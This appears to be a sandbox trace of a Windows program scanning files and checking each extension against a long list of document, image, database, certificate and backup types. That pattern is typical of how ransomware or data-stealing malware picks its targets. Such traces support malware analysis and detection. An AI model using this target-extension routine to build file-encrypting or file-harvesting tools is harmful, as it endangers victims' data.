	[0065.337] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0065.337] lstrlenW (lpString="eula.rtf") returned 8
	[0065.337] lstrlenW (lpString=".1cd") returned 4
	[0065.337] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0065.337] lstrlenW (lpString=".3ds") returned 4
	[0065.337] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0065.337] lstrlenW (lpString=".3fr") returned 4
	[0065.337] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0065.337] lstrlenW (lpString=".3g2") returned 4
	[0065.337] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0065.337] lstrlenW (lpString=".3gp") returned 4
	[0065.337] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0065.337] lstrlenW (lpString=".7z") returned 3
	[0065.337] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0065.337] lstrlenW (lpString=".accda") returned 6
	[0065.337] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0065.338] lstrlenW (lpString=".accdb") returned 6
	[0065.338] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0065.338] lstrlenW (lpString=".accdc") returned 6
	[0065.338] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0065.338] lstrlenW (lpString=".accde") returned 6
	[0065.338] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0065.338] lstrlenW (lpString=".accdt") returned 6
	[0065.338] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0065.338] lstrlenW (lpString=".accdw") returned 6
	[0065.338] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0065.338] lstrlenW (lpString=".adb") returned 4
	[0065.338] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".adp") returned 4
	[0065.338] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".ai") returned 3
	[0065.338] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0065.338] lstrlenW (lpString=".ai3") returned 4
	[0065.338] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".ai4") returned 4
	[0065.338] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".ai5") returned 4
	[0065.338] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".ai6") returned 4
	[0065.338] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".ai7") returned 4
	[0065.338] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".ai8") returned 4
	[0065.338] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".anim") returned 5
	[0065.338] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0065.338] lstrlenW (lpString=".arw") returned 4
	[0065.338] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".as") returned 3
	[0065.338] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0065.338] lstrlenW (lpString=".asa") returned 4
	[0065.338] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0065.338] lstrlenW (lpString=".asc") returned 4
	[0065.339] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".ascx") returned 5
	[0065.339] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0065.339] lstrlenW (lpString=".asm") returned 4
	[0065.339] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".asmx") returned 5
	[0065.339] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0065.339] lstrlenW (lpString=".asp") returned 4
	[0065.339] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".aspx") returned 5
	[0065.339] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0065.339] lstrlenW (lpString=".asr") returned 4
	[0065.339] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".asx") returned 4
	[0065.339] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".avi") returned 4
	[0065.339] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".avs") returned 4
	[0065.339] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".backup") returned 7
	[0065.339] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0065.339] lstrlenW (lpString=".bak") returned 4
	[0065.339] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".bay") returned 4
	[0065.339] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".bd") returned 3
	[0065.339] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0065.339] lstrlenW (lpString=".bin") returned 4
	[0065.339] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".bmp") returned 4
	[0065.339] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".bz2") returned 4
	[0065.339] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".c") returned 2
	[0065.339] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0065.339] lstrlenW (lpString=".cdr") returned 4
	[0065.339] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0065.339] lstrlenW (lpString=".cer") returned 4
	[0065.340] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".cf") returned 3
	[0065.340] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0065.340] lstrlenW (lpString=".cfc") returned 4
	[0065.340] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".cfm") returned 4
	[0065.340] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".cfml") returned 5
	[0065.340] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0065.340] lstrlenW (lpString=".cfu") returned 4
	[0065.340] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".chm") returned 4
	[0065.340] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".cin") returned 4
	[0065.340] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".class") returned 6
	[0065.340] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0065.340] lstrlenW (lpString=".clx") returned 4
	[0065.340] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".config") returned 7
	[0065.340] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0065.340] lstrlenW (lpString=".cpp") returned 4
	[0065.340] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".cr2") returned 4
	[0065.340] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".crt") returned 4
	[0065.340] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0065.340] lstrlenW (lpString=".crw") returned 4
	[0065.340] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".cs") returned 3
	[0065.341] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0065.341] lstrlenW (lpString=".css") returned 4
	[0065.341] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".csv") returned 4
	[0065.341] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".cub") returned 4
	[0065.341] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dae") returned 4
	[0065.341] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dat") returned 4
	[0065.341] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".db") returned 3
	[0065.341] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0065.341] lstrlenW (lpString=".dbf") returned 4
	[0065.341] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dbx") returned 4
	[0065.341] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dc3") returned 4
	[0065.341] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dcm") returned 4
	[0065.341] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dcr") returned 4
	[0065.341] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".der") returned 4
	[0065.341] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dib") returned 4
	[0065.341] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dic") returned 4
	[0065.341] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".dif") returned 4
	[0065.341] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0065.341] lstrlenW (lpString=".divx") returned 5
	[0065.341] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0065.341] lstrlenW (lpString=".djvu") returned 5
	[0065.341] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0065.341] lstrlenW (lpString=".dng") returned 4
	[0065.341] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".doc") returned 4
	[0065.342] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".docm") returned 5
	[0065.342] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0065.342] lstrlenW (lpString=".docx") returned 5
	[0065.342] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0065.342] lstrlenW (lpString=".dot") returned 4
	[0065.342] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".dotm") returned 5
	[0065.342] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0065.342] lstrlenW (lpString=".dotx") returned 5
	[0065.342] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0065.342] lstrlenW (lpString=".dpx") returned 4
	[0065.342] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".dqy") returned 4
	[0065.342] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".dsn") returned 4
	[0065.342] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".dt") returned 3
	[0065.342] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0065.342] lstrlenW (lpString=".dtd") returned 4
	[0065.342] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".dwg") returned 4
	[0065.342] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".dwt") returned 4
	[0065.342] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".dx") returned 3
	[0065.342] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0065.342] lstrlenW (lpString=".dxf") returned 4
	[0065.342] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".edml") returned 5
	[0065.342] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0065.342] lstrlenW (lpString=".efd") returned 4
	[0065.342] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".elf") returned 4
	[0065.342] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0065.342] lstrlenW (lpString=".emf") returned 4
	[0065.343] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".emz") returned 4
	[0065.343] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".epf") returned 4
	[0065.343] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".eps") returned 4
	[0065.343] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".epsf") returned 5
	[0065.343] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0065.343] lstrlenW (lpString=".epsp") returned 5
	[0065.343] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0065.343] lstrlenW (lpString=".erf") returned 4
	[0065.343] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".exr") returned 4
	[0065.343] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".f4v") returned 4
	[0065.343] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".fido") returned 5
	[0065.343] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0065.343] lstrlenW (lpString=".flm") returned 4
	[0065.343] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".flv") returned 4
	[0065.343] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".frm") returned 4
	[0065.343] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".fxg") returned 4
	[0065.343] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".geo") returned 4
	[0065.343] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".gif") returned 4
	[0065.343] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".grs") returned 4
	[0065.343] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0065.343] lstrlenW (lpString=".gz") returned 3
	[0065.343] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0065.343] lstrlenW (lpString=".h") returned 2
	[0065.343] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0065.343] lstrlenW (lpString=".hdr") returned 4
	[0065.344] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".hpp") returned 4
	[0065.344] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".hta") returned 4
	[0065.344] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".htc") returned 4
	[0065.344] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".htm") returned 4
	[0065.344] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".html") returned 5
	[0065.344] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0065.344] lstrlenW (lpString=".icb") returned 4
	[0065.344] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".ics") returned 4
	[0065.344] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".iff") returned 4
	[0065.344] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".inc") returned 4
	[0065.344] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".indd") returned 5
	[0065.344] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0065.344] lstrlenW (lpString=".ini") returned 4
	[0065.344] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".iqy") returned 4
	[0065.344] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".j2c") returned 4
	[0065.344] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".j2k") returned 4
	[0065.344] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".java") returned 5
	[0065.344] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0065.344] lstrlenW (lpString=".jp2") returned 4
	[0065.344] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".jpc") returned 4
	[0065.344] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".jpe") returned 4
	[0065.344] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0065.344] lstrlenW (lpString=".jpeg") returned 5
	[0065.345] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0065.345] lstrlenW (lpString=".jpf") returned 4
	[0065.345] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".jpg") returned 4
	[0065.345] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".jpx") returned 4
	[0065.345] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".js") returned 3
	[0065.345] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0065.345] lstrlenW (lpString=".jsf") returned 4
	[0065.345] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".json") returned 5
	[0065.345] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0065.345] lstrlenW (lpString=".jsp") returned 4
	[0065.345] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".kdc") returned 4
	[0065.345] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".kmz") returned 4
	[0065.345] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".kwm") returned 4
	[0065.345] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".lasso") returned 6
	[0065.345] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0065.345] lstrlenW (lpString=".lbi") returned 4
	[0065.345] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".lgf") returned 4
	[0065.345] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".lgp") returned 4
	[0065.345] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".log") returned 4
	[0065.345] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".m1v") returned 4
	[0065.345] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".m4a") returned 4
	[0065.345] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".m4v") returned 4
	[0065.345] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0065.345] lstrlenW (lpString=".max") returned 4
	[0065.346] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".md") returned 3
	[0065.346] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0065.346] lstrlenW (lpString=".mda") returned 4
	[0065.346] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mdb") returned 4
	[0065.346] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mde") returned 4
	[0065.346] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mdf") returned 4
	[0065.346] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mdw") returned 4
	[0065.346] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mef") returned 4
	[0065.346] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mft") returned 4
	[0065.346] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mfw") returned 4
	[0065.346] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mht") returned 4
	[0065.346] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mhtml") returned 6
	[0065.346] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0065.346] lstrlenW (lpString=".mka") returned 4
	[0065.346] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mkidx") returned 6
	[0065.346] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0065.346] lstrlenW (lpString=".mkv") returned 4
	[0065.346] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mos") returned 4
	[0065.346] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mov") returned 4
	[0065.346] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mp3") returned 4
	[0065.346] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0065.346] lstrlenW (lpString=".mp4") returned 4
	[0065.347] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".mpeg") returned 5
	[0065.347] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0065.347] lstrlenW (lpString=".mpg") returned 4
	[0065.347] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".mpv") returned 4
	[0065.347] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".mrw") returned 4
	[0065.347] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".msg") returned 4
	[0065.347] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".mxl") returned 4
	[0065.347] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".myd") returned 4
	[0065.347] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".myi") returned 4
	[0065.347] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".nef") returned 4
	[0065.347] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".nrw") returned 4
	[0065.347] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".obj") returned 4
	[0065.347] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".odb") returned 4
	[0065.347] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".odc") returned 4
	[0065.347] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".odm") returned 4
	[0065.347] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".odp") returned 4
	[0065.347] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".ods") returned 4
	[0065.347] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".oft") returned 4
	[0065.347] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0065.347] lstrlenW (lpString=".one") returned 4
	[0065.347] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".onepkg") returned 7
	[0065.348] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0065.348] lstrlenW (lpString=".onetoc2") returned 8
	[0065.348] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0065.348] lstrlenW (lpString=".opt") returned 4
	[0065.348] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".oqy") returned 4
	[0065.348] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".orf") returned 4
	[0065.348] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".p12") returned 4
	[0065.348] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".p7b") returned 4
	[0065.348] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".p7c") returned 4
	[0065.348] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pam") returned 4
	[0065.348] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pbm") returned 4
	[0065.348] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pct") returned 4
	[0065.348] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pcx") returned 4
	[0065.348] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pdd") returned 4
	[0065.348] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pdf") returned 4
	[0065.348] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pdp") returned 4
	[0065.348] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pef") returned 4
	[0065.348] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pem") returned 4
	[0065.348] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pff") returned 4
	[0065.348] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0065.348] lstrlenW (lpString=".pfm") returned 4
	[0065.348] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".pfx") returned 4
	[0065.349] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".pgm") returned 4
	[0065.349] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".php") returned 4
	[0065.349] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".php3") returned 5
	[0065.349] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0065.349] lstrlenW (lpString=".php4") returned 5
	[0065.349] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0065.349] lstrlenW (lpString=".php5") returned 5
	[0065.349] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0065.349] lstrlenW (lpString=".phtml") returned 6
